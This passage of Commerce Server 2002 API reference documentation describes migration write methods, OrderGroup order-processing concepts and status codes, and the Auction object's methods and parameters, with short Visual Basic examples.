Profiles[] [Visual Basic]
An array of PROFILE structures holding all the information from the XML profile files.
pIMigrationLog [C++]
A pointer to the IUnknown interface object used for logging.
pIMigrationLog [Visual Basic]
An object reference to the IUnknown interface object used for logging.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationWriteObj::ShutDown Method [C++]

MigrationWriteObj.ShutDown Method [Visual Basic]

Use this method to free the created connection pools.

Definition

[C++]
HRESULT IMigrationWriteObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object calls this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationWriteObj::WriteUserAttributes Method [C++]

MigrationWriteObj.WriteUserAttributes Method [Visual Basic]

Use this method to identify the attributes that are associated with the key, and then write these attributes from the array into the Commerce Server Profile data store.

Definition

[C++]
HRESULT IMigrationWriteObj::WriteUserAttributes(
  BSTR bstrKeyName,
  long lProfile_id,
  SAFEARRAY(VARIANT)* AttributeStructure,
  VARIANT* varValueIndex,
  VARIANT* vMemberOfs
);
[Visual Basic]
Sub WriteUserAttributes(
  bstrKeyName As String,
  lProfile_id As Long,
  AttributeStructure As SAFEARRAY(VARIANT),
  varValueIndex As Variant,
  vMemberOfs As Variant
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lProfile_id [C++]
[in] A Long that contains the ID of the profile XML file that is been used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is been used.
AttributeStructure [C++]
[in] A reference to a SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
AttributeStructure [Visual Basic]
A SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
varValueIndex [C++]
[in] A pointer to a VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
varValueIndex [Visual Basic]
A Variant array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
vMemberOfs [C++]
[in] A pointer to a VARIANT array containing all the groups to which this object is a member.
vMemberOfs [Visual Basic]
A Variant array containing all the groups to which this object is a member

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


Order Processing Objects

Business process objects provide the ability to manage baskets, templates, and submitted orders. Typical management functions include order creation, database order storage, and database order searches.

The Order Processing Programming Concepts topic describes concepts related to programming with the various objects that are concerned with business processing.

Objects

Visual Basic reference | C++ invocation | Description
Auction | Auction | Provides methods for supporting auctions.
OrderForm | OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | OrderGroup | Allows management of complex orders, such as those containing items from different suppliers, and multiple shipments.
OrderGroupManager | OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
Shipping | Shipping | Creates shipping cost preview information.
ShippingMethodManager | ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations by using the OrderGroup and OrderGroupManager objects.

Examples

Example | Description
Code to Create an Order | Describes how to create an order, instantiating and initializing the required objects.
Code to Add Address and Line Item Information to an Order | Describes how to create line items in an order and view the contents of the order.
Code to Save an Order to the Database | Describes how to save an order with a Template status to the database.
Code to Search for an Order and Display Line Item Information | Describes how to search the database for an order by using the SimpleFindSearchInfo and SimpleFindResultInfo objects.


Order Processing Programming Concepts

The following topics describe the business process objects provided in Commerce Server 2002.

OrderGroup, OrderForm, and OrderGroupManager Objects

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

OrderGroup Structure

An OrderGroup object describes order information. It groups order forms, and provides aggregate operations and aggregate totals. The OrderGroup object links to one or more OrderForm objects, and to one or more Address dictionaries. The OrderForm object specifies header information for an order such as the shipping total, the tax total, and other data required to process the order. The OrderForm object references one or more Item dictionaries, which describe the specific products to be purchased. The Addresses dictionary specifies billing and shipping address information for purchase orders. Each OrderForm object typically specifies a billing_address_id value, and each line item specifies a shipping_address_id value.

The OrderGroup object often contains only one OrderForm object. However, when you want your users to purchase items from different suppliers, the multiple OrderForm object feature of the OrderGroup object enables you to retain distinctions between suppliers while allowing a unified shopping experience for the user.

The following objects commonly occur within the OrderGroup object:

  • Address dictionaries. These dictionaries specify billing and shipping information for purchase orders.
  • OrderForm objects. These objects specify the header information for an order form. An OrderForm object contains a SimpleList object called Items that contains the Item dictionaries holding line-item information.
  • Items SimpleList . The Items SimpleList objects contain the Item dictionaries.
  • Item dictionaries. These dictionaries specify the contents of the line items in an order form. An OrderForm object, representing the information used to process the order form, references zero or more Item dictionaries through the Items list.

OrderStatus Codes

The OrderGroup object represents a purchasing unit, and has a specific status. This status is stored in OrderGroup.value("order_status_code"), indicating whether the OrderGroup object represents a Basket (1), a Saved Order or Template (2), a New Order (4), and so on. New custom status codes can be created in Commerce Server Business Desk. They can indicate such OrderGroup object status values as Approved, Cancelled, and so on. The status codes for these values must be set to numbers that are powers of 2 (for example: 8, 16, 32). The following order status codes are defined:

  • Basket status. The Basket status indicates an OrderGroup object that is in the process of being assembled and reviewed before the order is submitted. This status code is 1.
  • Template status (Saved Order status). The purpose of the Template status is to facilitate repeat purchases, such as in a grocery store site where the same items are ordered week after week. This status is equivalent to the Saved Order status. This status code is 2.
  • New Order status. The New Order status indicates an order that has been submitted for further processing (usually by the user clicking the Submit Order button). This status code is 4.

Database Persistence

If the OrderGroup object has an order status code of Basket or Template, the entire structure is persisted in the BasketGroup table; persistence in one table enhances performance. If the OrderGroup object has an order status code other than Basket or Template, it is persisted in the OrderGroup, OrderFormHeader, OrderFormLineItems, and OrderGroupAddresses tables that are used to store OrderGroups, OrderForms, LineItems and Addresses, respectively. This multiple-table persistence provides the OrderGroupManager object with richer search capabilities.

The OrderGroup object uses the marshaled_data database column to persist key/value pairs that have keys that do not correspond to database column names.

No dictionary entry that has a key name that begins with the value of the SavePrefix property will be saved to the database.

Many pipeline keys are prefixed by the underscore character (_), which, by default, means they will not be persisted to the database. Occasionally, you might want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. By using the "saved_" prefix the pipeline keys can be referred to later and can be searched by using SQL statements or the OrderGroupManager object. Copied keys should not necessarily be trusted as being up-to-date. Also, copied keys should not be used by pipeline components directly.

To customize the way OrderGroup object information is stored to the database, use the DBStorage object. The DBStorage.CommitData and DBStorage.InsertData methods can store data from a specified object into the database in two ways:

  • First, if the DBStorage.InitStorage method specifies a vtMarshal parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)
  • Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the vtMarshal parameter is specified and matching columns exist, then the corresponding data is stored both ways.


Auction Object [C++]

Auction Object [Visual Basic]

Use this object to provide auction capabilities to a site. This object enables a site to auction products, accept bids, and determine winners, using rules ranging from simple to sophisticated. Users can set reserve prices, minimum bids, start and end dates, bid increments, and resolve bid conflicts. Users can also notify auction participants of important news via DHTML, HTML, or e-mail at any interval.

The source code for this component is provided in the Commerce Server 2002 Software Development Kit. For more information about the auction component and the auction sitelet, see Auction Samples.

ProgID: | Commerce.Auction (Externally creatable)
COM Class Name: | Auction
COM Interface Name: | _Auction
Interface ID Constant: | None
Header File: | None
Type Library Name: | Commerce Server 4.0 Auction Component
DLL Name: | auction.dll
Threading Model: | Apartment
[C++]

In C++, use the _Auction interface to access the properties and methods of the Auction object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.
[Visual Basic]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.

Properties

[C++]
Property | Type | Description
AuctionID | BSTR | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | DATE | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | IDispatch | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | BSTR | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | BSTR | Stores the name of the Bid table in the database. This property is read/write.
szDSN | BSTR | Stores the connection string for the database. This property is read/write.
szItemTableName | BSTR | Stores the name of the Item table in the database. This property is read/write.
[Visual Basic]
Property | Type | Description
AuctionID | String | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | Date | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | Object | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | String | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | String | Stores the name of the Bid table in the database. This property is read/write.
szDSN | String | Stores the connection string for the database. This property is read/write.
szItemTableName | String | Stores the name of the Item table in the database. This property is read/write.

Remarks

The Auction object depends on the presence of the Item and Bid tables, stored in the site database, and a MessageManager object to hold the error messages. The tables must be created before using the Auction object for the first time. The MessageManager object must be properly initialized for the Auction object to pass error messages back to the user.

See Also

Auction Samples


_Auction Methods [C++]

Auction Methods [Visual Basic]

Methods

[C++]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.
[Visual Basic]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.


_Auction::AuctionAddBid Method [C++]

Auction.AuctionAddBid Method [Visual Basic]

Use this method to add or update a bid on an item. The bid is validated according to all the current rules for the auction.

Definition

[C++]
HRESULT _Auction::AuctionAddBid(
  BSTR szAuctionId,
  BSTR szShopperId,
  BSTR szBidName,
  BSTR szEmail,
  CURRENCY cyBidPrice,
  long nDesired,
  VARIANT_BOOL fTakeLess,
  CURRENCY cyMinimumBid,
  IDispatch* objErrorList,
  VARIANT_BOOL bResolve,
  long* plNumErrors
);
[Visual Basic]
Function AuctionAddBid(
  szAuctionId As String,
  szShopperId As String,
  szBidName As String,
  szEmail As String,
  cyBidPrice As Currency,
  nDesired As Long,
  fTakeLess As Boolean,
  cyMinimumBid As Currency,
  objErrorList As Object,
  Optional bResolve As Boolean
) As Long

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the unique bidder.
szBidName [C++]
[in] A BSTR that contains the name of the bidder.
szBidName [Visual Basic]
A String that contains the name of the bidder.
szEmail [C++]
[in] A BSTR that contains the email address of the bidder.
szEmail [Visual Basic]
A String that contains the email address of the bidder.
cyBidPrice [C++]
[in] A CURRENCY that contains the bid amount.
cyBidPrice [Visual Basic]
A Currency that contains the bid amount.
nDesired [C++]
[in] A long that contains the number of wanted items.
nDesired [Visual Basic]
A Long that contains the number of wanted items.
fTakeLess [C++]
[in] A VARIANT_BOOL that indicates whether the bidder will take less than the wanted number of items. A value of True indicates the bidder will take less. A value of False indicates the bidder will not accept less than the wanted number of items.
fTakeLess [Visual Basic]
A Boolean that indicates whether the bidder will take less than the wanted number of items. A value of False indicates the bidder will not accept less than the wanted number of items.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum bid.
objErrorList [C++]
[in] A pointer to the IDispatch interface of a SimpleList object that contains a list of errors generated by the MessageManager object.
objErrorList [Visual Basic]
A SimpleList object that contains a list of errors generated by the MessageManager object.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'lNumErrStrings is a Long
'szAuctionID is a String containing a GUID
'oErrorList is an object

lNumErrStrings = oAuction.AuctionAddBid(szAuctionID, "Bidder123456", szBidName, "Bidder123456@isp.com", 25.00, 5, FALSE, 19.99, oErrorList, TRUE)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionAddItem Method [C++]

Auction.AuctionAddItem Method [Visual Basic]

Use this method to add a new item to the auction system.

Definition

[C++]
HRESULT _Auction::AuctionAddItem(
  BSTR szSKU,
  CURRENCY cyReservePrice,
  long nAvailable,
  CURRENCY cyBidIncrement,
  long nAuctionType,
  CURRENCY cyMinimumBid,
  VARIANT_BOOL fSealedBid,
  VARIANT_BOOL fSealedInventory,
  VARIANT_BOOL fActive,
  DATE dtStartDate,
  DATE dtEndDate,
  long nAutoCloseSeconds,
  IDispatch* objErrorList,
  long* plNumErrors
);
[Visual Basic]
Function AuctionAddItem(
  szSKU As String,
  cyReservePrice As Currency,
  nAvailable As Long,
  cyBidIncrement As Currency,
  nAuctionType As Long,
  cyMinimumBid As Currency,
  fSealedBid As Boolean,
  fSealedInventory As Boolean,
  fActive As Boolean,
  dtStartDate As Date,
  dtEndDate As Date,
  nAutoCloseSeconds As Long,
  objErrorList As Object
) As Long

Parameters

szSKU [C++]
[in] A BSTR that contains the unique ID for the item.
szSKU [Visual Basic]
A String that contains the unique ID for the item.
cyReservePrice [C++]
[in] A CURRENCY that contains the minimum price that the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
cyReservePrice [Visual Basic]
A Currency that contains the minimum price that the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
nAvailable [C++]
[in] A long that contains the number of items for sale.
nAvailable [Visual Basic]
A Long that contains the number of items for sale.
cyBidIncrement [C++]
[in] A CURRENCY that contains the amount a bid must be raised in order to bid on the item.
cyBidIncrement [Visual Basic]
A Currency that contains the amount a bid must be raised in order to bid on the item.
nAuctionType [C++]
[in] A long that contains the auction type. For more information, see the table in the Remarks section.
nAuctionType [Visual Basic]
A Long that contains the auction type. For more information, see the table in the Remarks section.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum opening bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum opening bid.
fSealedBid [C++]
[in] A VARIANT_BOOL that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check.
fSealedBid [Visual Basic]
A Boolean that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check.
fSealedInventory [C++]
[in] A VARIANT_BOOL that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of False indicates to check the items. A value of True skips the check (the fTakeLess parameter in the bid is ignored).
fSealedInventory [Visual Basic]
A Boolean that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of False indicates to check the items. A value of True skips the check (the fTakeLess parameter in the bid is ignored).
fActive [C++]
[in] A VARIANT_BOOL that indicates whether the auction is active. A value of True indicates an active auction. A value of False suspends bidding on the auction.
fActive [Visual Basic]
A Boolean that indicates whether the auction is active. A value of True indicates an active auction. A value of False suspends bidding on the auction.
dtStartDate [C++]
[in] A DATE that determines when bids will be accepted on the item.
dtStartDate [Visual Basic]
A Date that determines when bids will be accepted on the item.
dtEndDate [C++]
[in] A DATE that determines when the auction is closed and the items can be purchased.
dtEndDate [Visual Basic]
A Date that determines when the auction is closed and the items can be purchased.
nAutoCloseSeconds [C++]
[in] A long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
nAutoCloseSeconds [Visual Basic]
A Long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
objErrorList [C++]
[in] A pointer to the IDispatch interface that contains the error list.
objErrorList [Visual Basic]
An IDispatch interface that contains the error list.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The auction type controls the method used to determine the winning bidder and the amount the winning bidder must pay. The following table describes the available auction types.

Auction Type | Value | Description | Example
Winning Price | 0 | Winning bidders receive the item they bid on for the amount bid. If there is more than one item, winning bidders receive the number requested at the amount they bid. | Two items are at auction. Bidder A bids $10.00, Bidder B bids $5.00, and Bidder C bids $3.00, and each bidder requests one item. Bidder A receives one item for $10.00 and Bidder B receives one item for $5.00. However, if Bidder A requested two items at $10.00 each, both items would be awarded to Bidder A.
Clear Price | 1 | Winning bidders receive the item they bid on for the lowest winning bid. | Same conditions as Winning Price auction type example. Bidder A and Bidder B each receive one item for $5.00.
Second Price | 2 | Winning bidders pay the lowest of the following: The highest losing bid plus the bid increment, the lowest winning bid, or the reserve price, assuming the number of bids above the reserve price is less than the number of available items. | Same conditions as Winning Price auction type example with a bid increment of $0.50. Bidder A and Bidder B each receive one item for $3.50.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'lNumErrStrings is a Long
'dtStartDate is a Date
'dtEndDate is a Date
'oErrors is a list object

lNumErrStrings = oAuction.AuctionAddItem("123456", 2.50, 2, 0.50, 1, 1.50, False, False, True, dtStartDate, dtEndDate, 0, oErrors)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionBidNormalize Method [C++]

Auction.AuctionBidNormalize Method [Visual Basic]

Use this method to normalize a bid to a whole multiple of the bid increment.

Definition

[C++]
HRESULT _Auction::AuctionBidNormalize(
  CURRENCY cyBidAmount,
  CURRENCY cyBidIncrement,
  CURRENCY cyMinimumBid,
  CURRENCY* cyBidNormal
);
[Visual Basic]
Function AuctionBidNormalize(
  cyBidAmount As Currency,
  cyBidIncrement As Currency,
  cyMinimumBid As Currency
) As Currency

Parameters

cyBidAmount [C++]
[in] A CURRENCY that contains the bid amount.
cyBidAmount [Visual Basic]
A Currency that contains the bid amount.
cyBidIncrement [C++]
[in] A CURRENCY that contains the bid increment.
cyBidIncrement [Visual Basic]
A Currency that contains the bid increment.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum bid allowed.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum bid allowed.
cyBidNormal [C++]
[out, retval] A pointer to a CURRENCY used to return the normalized bid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Currency that contains the normalized bid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' currNormBid is a Currency, the bid amount is $10.50
currNormBid = oAuction.AuctionBidNormalize(10.50, 1.00, 8.00)
' After the call, currNormBid = 10.00

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteBid Method [C++]

Auction.AuctionDeleteBid Method [Visual Basic]

Use this method to deletes a bid placed on an item in an auction.

Definition

[C++]
HRESULT _Auction::AuctionDeleteBid(
  BSTR szAuctionId,
  BSTR szShopperId,
  VARIANT_BOOL bResolve,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteBid(
  szAuctionId As String,
  szShopperId As String,
  Optional bResolve As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the bidder.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'You can treat this function as a subroutine to ignore the return value.
oAuction.AuctionDeleteBid szAuctionId, szShopperId, bResolve

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteBids Method [C++]

Auction.AuctionDeleteBids Method [Visual Basic]

Use this method to delete all bids on an item made in an auction. The item remains in the auction database and new bids can be accepted.

Definition

[C++]
HRESULT _Auction::AuctionDeleteBids(
  BSTR szAuctionId,
  VARIANT_BOOL bResolve,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteBids(
  szAuctionId As String,
  Optional bResolve As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteItem Method [C++]

Auction.AuctionDeleteItem Method [Visual Basic]

Use this method to delete an item and all bids for the item from the auction database.

Definition

[C++]
HRESULT _Auction::AuctionDeleteItem(
  BSTR szAuctionId,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteItem(
